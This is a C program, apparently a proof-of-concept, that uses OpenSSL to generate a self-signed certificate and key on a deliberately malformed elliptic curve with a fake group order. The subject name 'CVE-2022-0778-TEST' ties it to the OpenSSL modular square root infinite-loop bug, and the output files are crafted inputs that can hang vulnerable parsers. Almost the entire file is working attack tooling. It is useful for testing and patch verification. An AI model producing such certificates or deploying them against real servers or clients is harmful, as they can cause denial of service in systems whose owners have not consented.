my_bad_cert.c

#include <stdio.h>
#include <stdlib.h>
#include <openssl/ec.h>
#include <openssl/bn.h>
#include <openssl/evp.h>
#include <openssl/x509.h>
#include <openssl/x509v3.h>
#include <openssl/asn1.h>
#include <openssl/pem.h>
#include <openssl/err.h>

int make_cert(X509 **pcert, EVP_PKEY **ppkey, int days)
{
    int ret = 0;
    X509 *cert = NULL;
    X509 *cert_tmp = NULL;
    EVP_PKEY *pkey = NULL;
    EVP_PKEY *pkey_tmp = NULL;
    EC_KEY *ec = NULL;
    EC_GROUP *group = NULL;
    EC_POINT *point = NULL;
    BN_CTX *ctx = NULL;
    BIGNUM *a = NULL;
    BIGNUM *b = NULL;
    BIGNUM *p = NULL;
    BIGNUM *order = NULL;
    BIGNUM *x = NULL;
    BIGNUM *y = NULL;
    ASN1_INTEGER *serial = NULL;
    X509_NAME *name = NULL;

    if (!pcert || !ppkey) {
        return 0;
    }

    if (*pcert == NULL) {
        cert = cert_tmp = X509_new();
        if (!cert)
            goto err;
    }
    else {
        cert = *pcert;
    }

    if (*ppkey == NULL) {
        pkey = pkey_tmp = EVP_PKEY_new();
        if (!pkey)
            goto err;
    }
    else {
        pkey = *ppkey;
    }

    /* make key */

    ctx = BN_CTX_new();
    if (!ctx)
        goto err;
    BN_CTX_start(ctx);
    p = BN_CTX_get(ctx);
    a = BN_CTX_get(ctx);
    b = BN_CTX_get(ctx);
    order = BN_CTX_get(ctx);
    x = BN_CTX_get(ctx);
    y = BN_CTX_get(ctx);

    if (!y)
        goto err;

    /* y^2 = x^3 + 1x + 694 */
    /* Generator: (1, 132) */
    if (!BN_set_word(p, 697) 
        || !BN_set_word(a, 1)
        || !BN_set_word(b, 694)
        || !BN_set_word(order, 111)     /* a fake order */
        || !BN_set_word(x, 1)
        || !BN_set_word(y, 132)) {
        goto err;
    }
    
    if (!(group = EC_GROUP_new_curve_GFp(p, a, b, NULL))) {
        goto err;
    }

    point = EC_POINT_new(group);

    if (!EC_POINT_set_affine_coordinates_GFp(group, point, x, y, ctx)
        || !EC_GROUP_set_generator(group, point, order, NULL))
        goto err;

    // EC_GROUP_set_asn1_flag(group, OPENSSL_EC_EXPLICIT_CURVE);
    EC_GROUP_set_asn1_flag(group, 0);   /* not defined in 1.0.2 */

    ec = EC_KEY_new();
    /* private key = 1, publickey == generator */
    if (!ec
        || !EC_KEY_set_group(ec, group)
        || !EC_KEY_set_private_key(ec, BN_value_one())
        || !EC_KEY_set_public_key(ec, point)
        || (EC_KEY_set_conv_form(ec, POINT_CONVERSION_COMPRESSED), 0)
        || !EVP_PKEY_assign_EC_KEY(pkey, ec)) {
        goto err;
    }
    ec = NULL;

    /* make cert */
    if (!X509_set_version(cert, 0L)
        || !(name = X509_get_subject_name(cert))
        || !X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_UTF8, "CVE-2022-0778-TEST", -1, -1, 0)
        || !X509_set_issuer_name(cert, name)
        || !(serial = s2i_ASN1_INTEGER(NULL, "1"))
        || !X509_set_serialNumber(cert, serial)
#if OPENSSL_VERSION_NUMBER < 0x10100000L
        || !X509_gmtime_adj(X509_get_notBefore(cert), 0)
        || !X509_time_adj_ex(X509_get_notAfter(cert), days, 0, NULL))
#else
        || !X509_gmtime_adj(X509_getm_notBefore(cert), 0)
        || !X509_time_adj_ex(X509_getm_notAfter(cert), days, 0, NULL))
#endif
        goto err;

    if (!X509_set_issuer_name(cert, X509_get_subject_name(cert)))
        goto err;
    if (!X509_set_pubkey(cert, pkey))
        goto err;

    /* self sign */
    if (!X509_sign(cert, pkey, EVP_sha256()))
        goto err;


    *pcert = cert;
    *ppkey = pkey;
    ret = 1;
err:
    BN_CTX_end(ctx);
    BN_CTX_free(ctx);
    EC_GROUP_free(group);
    EC_POINT_free(point);
    EC_KEY_free(ec);
    ASN1_INTEGER_free(serial);
    if (!ret) {
        X509_free(cert_tmp);
        EVP_PKEY_free(pkey_tmp);
    }
    return ret;
}


int main() {
    BIO *bio_cert = NULL;
    BIO *bio_pkey = NULL;
    X509 *cert = NULL;
    EVP_PKEY *pkey = NULL;

    if (!make_cert(&cert, &pkey, 365)) {
        printf("make_cert failed\n");
        abort();
    }
    bio_cert = BIO_new_file("bad_cert.pem", "w");
    bio_pkey = BIO_new_file("bad_key.pem", "w");

    PEM_write_bio_X509(bio_cert, cert);
    PEM_write_bio_PrivateKey(bio_pkey, pkey, NULL, NULL, 0, NULL, NULL);

    EVP_PKEY_free(pkey);
    X509_free(cert);
}